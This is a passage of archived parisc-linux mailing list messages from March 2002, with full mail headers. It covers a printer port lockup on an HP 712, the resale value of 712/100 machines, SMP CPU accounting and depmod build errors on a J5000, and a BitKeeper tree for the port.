Xref: news.gmane.org gmane.linux.ports.parisc:14226

> On Tue, Mar 05, 2002 at 03:02:29PM -0500, James S wrote:
> > Has nobody else had the same problem as me with the printer port ?
> > 
> > My 712/60 locks every time i send anything to the local printer.
> 
> Isn't this cured with Thomas Bogendoerfer's recent changes to make
> parport_gsc & parport_pc work when compiled into the same kernel?
> 

how recent ? - i'm using the the 2.4.17-32 kernel

James S






From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Chris Gray" <CGRAY@santa-clarita.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OT: value of a 712/100
Date: Tue, 05 Mar 2002 13:30:07 -0800
Lines: 54
Approved: news@gmane.org
Message-ID: <sc84c875.096@mail.santa-clarita.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=_0C51B8E5.F697F55B"
X-Trace: ger.gmane.org 1416621122 4078 80.91.229.3 (22 Nov 2014 01:52:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:02 +0000 (UTC)
To: < <parisc-linux@lists.parisc-linux.org>>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 14:31:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.santa-clarita.com (unknown [64.165.136.197])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06EF84834
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 14:31:20 -0700 (MST)
Original-Received: from SANTA-CLARITA_DOM-MTA by mail.santa-clarita.com
	with Novell_GroupWise; Tue, 05 Mar 2002 13:30:29 -0800
X-Mailer: Novell GroupWise Internet Agent 6.0.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14227

This is a MIME message. If you are reading this text, you may want to 
consider changing to a mail reader or gateway that understands how to 
properly handle MIME multipart messages.

--=_0C51B8E5.F697F55B
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Sorry for the OT post,  I own a few 712/100 boxes and was wondering what
they would be worth? and if any one here would be interested in buying a
couple of them?

Thanks,
Chris.

=====================
Chris 'GrayMatter' Gray
Network Administrator
CGray@Santa-Clarita.com
=====================
Windows NT crashed.
I am the Blue Screen of Death.
No one hears your screams.
=====================
Yesterday it worked.
Today it is not working.
Windows is like that.
=====================
"If it ain't broke,
fix it till it is broke"
=====================

--=_0C51B8E5.F697F55B
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="Chris Gray.vcf"

BEGIN:VCARD
VERSION:2.1
X-GWTYPE:USER
FN:Gray, Chris
TEL;WORK:286-4094
ORG:;Tech. Services
TEL;PREF;FAX:255-1043
EMAIL;WORK;PREF;NGW:CGRAY@santa-clarita.com
N:Gray;Chris
TITLE:Information Technology Specialist
END:VCARD


--=_0C51B8E5.F697F55B--



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OT: value of a 712/100
Date: Tue, 05 Mar 2002 14:57:33 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20020305215733.0B69C37CF5@carmen.fc.hp.com>
References: <sc84c875.096@mail.santa-clarita.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621123 4080 80.91.229.3 (22 Nov 2014 01:52:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Chris Gray" <CGRAY@santa-clarita.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 14:57:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2B9BD483C
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 14:57:38 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel9.hp.com (Postfix) with ESMTP
	id 43A80804E72; Tue,  5 Mar 2002 16:57:37 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 0B69C37CF5; Tue,  5 Mar 2002 14:57:33 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Chris Gray" <CGRAY@santa-clarita.com> 
   of "Tue, 05 Mar 2002 13:30:07 PST." <sc84c875.096@mail.santa-clarita.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14228

"Chris Gray" writes...

> Sorry for the OT post,  I own a few 712/100 boxes and was wondering what
> they would be worth? and if any one here would be interested in buying a
> couple of them?

Check ebay, I seem to remember them going for ~$100 with ram and disk.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SMP support
Date: Tue, 5 Mar 2002 14:40:23 -0800 (PST)
Lines: 24
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203051434270.6941-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621123 4086 80.91.229.3 (22 Nov 2014 01:52:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:03 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 15:40:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8F380482E
	for <parisc-linux@parisc-linux.org>; Tue,  5 Mar 2002 15:40:33 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id 1A8D57BC45
	for <parisc-linux@parisc-linux.org>; Tue,  5 Mar 2002 14:40:23 -0800 (PST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14229

I am running debian-hppa on a J5000, and I am using the 2.4.17-32-smp
kernel.  It detects both processors at boot, and shows them both in
/proc/cpuinfo, but /proc/stat shows this

cpu  599904 33379482 34656795 68636319
cpu0 0 0 64 68636186
cpu1 599904 33379482 34656731 133

I interpret this to mean that everything is happening on cpu1 and cpu0 is
just sitting idle.  Is this a bug, or am I doing something wrong?

Also, I am unable to build any kernels myself.  I get a bunch of depmod
errors, like these

depmod: Unhandled relocation of type 74 for printk_Rsmp_dd132261
depmod: Unhandled relocation of type 74 for usb_deregister_Rsmp_c6f994d5

This is using the make-kpkg kernel_image command.

-- 
Love the sea?  I dote upon it -- from the beach.




From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP support
Date: Tue, 5 Mar 2002 14:52:34 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20020305225234.GE26587@tausq.org>
References: <Pine.LNX.4.33L2.0203051434270.6941-100000@eiger.apptechsys.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621123 4088 80.91.229.3 (22 Nov 2014 01:52:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:03 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 15:52:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 93F484848
	for <parisc-linux@parisc-linux.org>; Tue,  5 Mar 2002 15:52:46 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id lfuvlaaa for parisc-linux@parisc-linux.org; Tue, 5 Mar 2002 15:52:20 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16iNnO-0003kH-00; Tue, 05 Mar 2002 14:52:34 -0800
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.33L2.0203051434270.6941-100000@eiger.apptechsys.com>
User-Agent: Mutt/1.3.27i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14230

> depmod: Unhandled relocation of type 74 for printk_Rsmp_dd132261
> depmod: Unhandled relocation of type 74 for usb_deregister_Rsmp_c6f994d5
> 
> This is using the make-kpkg kernel_image command.

yeah, this is a known problem. someone needs to look at updating
modutils..... any volunteers? :-)

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bitkeeper
Date: Tue, 5 Mar 2002 23:51:04 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20020305235104.E7113@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621124 4090 80.91.229.3 (22 Nov 2014 01:52:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:04 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 16:51:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0C3074839
	for <parisc-linux@parisc-linux.org>; Tue,  5 Mar 2002 16:51:26 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16iOi0-0007We-00
	for parisc-linux@parisc-linux.org; Tue, 05 Mar 2002 23:51:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14231

A controversial issue, I realise.  However, Marcelo is itching to get some
bitkeeper testing, I'm cooperating by setting up a bitkeeper tree he can
pull from.  You can see what I'm up to at http://palinux.bkbits.net/
but there's no _development_ going on there.  Continue to use
cvs.parisc-linux.org as before.  If anyone wants to have `user' access
(permission to check in, basically) to this tree, just ask me.

Note that not all changes are being committed to this tree, only the
bits I'm pushing to Marcelo.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OT: value of a 712/100
Date: Wed, 6 Mar 2002 01:02:36 +0000 (GMT)
Lines: 11
Approved: news@gmane.org
Message-ID: <E16iPpE-00051v-00@the-village.bc.nu>
References: <20020305215733.0B69C37CF5@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621124 4094 80.91.229.3 (22 Nov 2014 01:52:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:04 +0000 (UTC)
Cc: CGRAY@santa-clarita.com (Chris Gray),
	parisc-linux@lists.parisc-linux.org
To: taggart@carmen.fc.hp.com (Matt Taggart)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 18:03:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id D1A804840
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 18:03:07 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.33 #5)
	id 16iPpE-00051v-00; Wed, 06 Mar 2002 01:02:36 +0000
In-Reply-To: <20020305215733.0B69C37CF5@carmen.fc.hp.com> from "Matt Taggart" at Mar 05, 2002 02:57:33 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14232

> > Sorry for the OT post,  I own a few 712/100 boxes and was wondering what
> > they would be worth? and if any one here would be interested in buying a
> > couple of them?
> 
> Check ebay, I seem to remember them going for ~$100 with ram and disk.

Ebay prices for older parisc kit seem to have basically doubled since 
Linux on parisc began to work well. Annoying but I think a great project
testimony



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP support
Date: Tue, 05 Mar 2002 18:05:41 -0700
Lines: 32
Approved: news@gmane.org
Message-ID: <20020306010541.A8BB84853@dsl2.external.hp.com>
References: <Pine.LNX.4.33L2.0203051434270.6941-100000@eiger.apptechsys.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621124 4096 80.91.229.3 (22 Nov 2014 01:52:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Jeremy Drake <jeremyd@apptechsys.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 18:05:41 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id A8BB84853; Tue,  5 Mar 2002 18:05:41 -0700 (MST)
In-Reply-To: Message from Jeremy Drake <jeremyd@apptechsys.com> 
   of "Tue, 05 Mar 2002 14:40:23 PST." <Pine.LNX.4.33L2.0203051434270.6941-100000@eiger.apptechsys.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14233

Jeremy Drake wrote:
> I am running debian-hppa on a J5000, and I am using the 2.4.17-32-smp
> kernel.  It detects both processors at boot, and shows them both in
> /proc/cpuinfo, but /proc/stat shows this
> 
> cpu  599904 33379482 34656795 68636319
> cpu0 0 0 64 68636186
> cpu1 599904 33379482 34656731 133
> 
> I interpret this to mean that everything is happening on cpu1 and cpu0 is
> just sitting idle.  Is this a bug, or am I doing something wrong?

sounds like a bug.
I've never looked at /proc/stat.


> Also, I am unable to build any kernels myself.  I get a bunch of depmod
> errors, like these
> 
> depmod: Unhandled relocation of type 74 for printk_Rsmp_dd132261
> depmod: Unhandled relocation of type 74 for usb_deregister_Rsmp_c6f994d5

I've seen this when CONFIG_PA20 is enabled but CONFIG_PARISC64 is not.
Don't know if that's your problem, but it's worth checking.

You don't need to enable CONFIG_PA20 in order to run a 32-bit kernel
on any system that will support 32-bit kernels (A500/L-class only
support 64-bit kernel).

grant



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] OT: value of a 712/100
Date: Wed, 6 Mar 2002 00:30:39 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20020306003039.C23625@systemhalted>
References: <20020305215733.0B69C37CF5@carmen.fc.hp.com> <E16iPpE-00051v-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621125 4099 80.91.229.3 (22 Nov 2014 01:52:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:05 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 22:30:01 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id B488B4851
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 22:29:59 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g265Ud424817
	for parisc-linux@lists.parisc-linux.org; Wed, 6 Mar 2002 00:30:39 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E16iPpE-00051v-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Wed, Mar 06, 2002 at 01:02:36AM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14234

> > > Sorry for the OT post,  I own a few 712/100 boxes and was wondering what
> > > they would be worth? and if any one here would be interested in buying a
> > > couple of them?
> > 
> > Check ebay, I seem to remember them going for ~$100 with ram and disk.
> 
> Ebay prices for older parisc kit seem to have basically doubled since 
> Linux on parisc began to work well. Annoying but I think a great project
> testimony
>

Woo! Woo! Go PARISC!

I love my cluster of 715/50's :)

/me goes back to testing glibc

c.



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Printer Port & kernel stuff
Date: Wed, 6 Mar 2002 00:58:18 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <20020306005818.D23625@systemhalted>
References: <005101c1c480$ae437900$02c1a8c0@james.co.uk> <20020305200711.E30960@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621125 4101 80.91.229.3 (22 Nov 2014 01:52:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar  5 23:05:09 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6A4D24830
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Mar 2002 23:05:07 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g265wIx24981;
	Wed, 6 Mar 2002 00:58:18 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	Matthew Wilcox <willy@debian.org>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020305200711.E30960@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Tue, Mar 05, 2002 at 08:07:11PM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14235

> On Tue, Mar 05, 2002 at 03:02:29PM -0500, James S wrote:
> > Has nobody else had the same problem as me with the printer port ?
> > 
> > My 712/60 locks every time i send anything to the local printer.
> 
> Isn't this cured with Thomas Bogendoerfer's recent changes to make
> parport_gsc & parport_pc work when compiled into the same kernel?
> 
> > while i'm at it - does anybody have a list of the options i should choose
> > when i'm doing a make config for the kernel so i can get the right network
> > stuff installed etc.
> 
> defconfig is pretty all-encompassing.  there's also the debian-configs
> in the CVS tree.
> 
> > i need to recompile to include smbfs (which i think would be very handy if
> > compiled into the kernel as standard)
> 
> last i heard it still wouldn't compile.  but maybe it got fixed and i
> don't remember.
>

I compiled it into the kernel, and as a module. No compilation issues.

Haven't tested it :)

c. 



From - Thu Nov 08 21:21:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
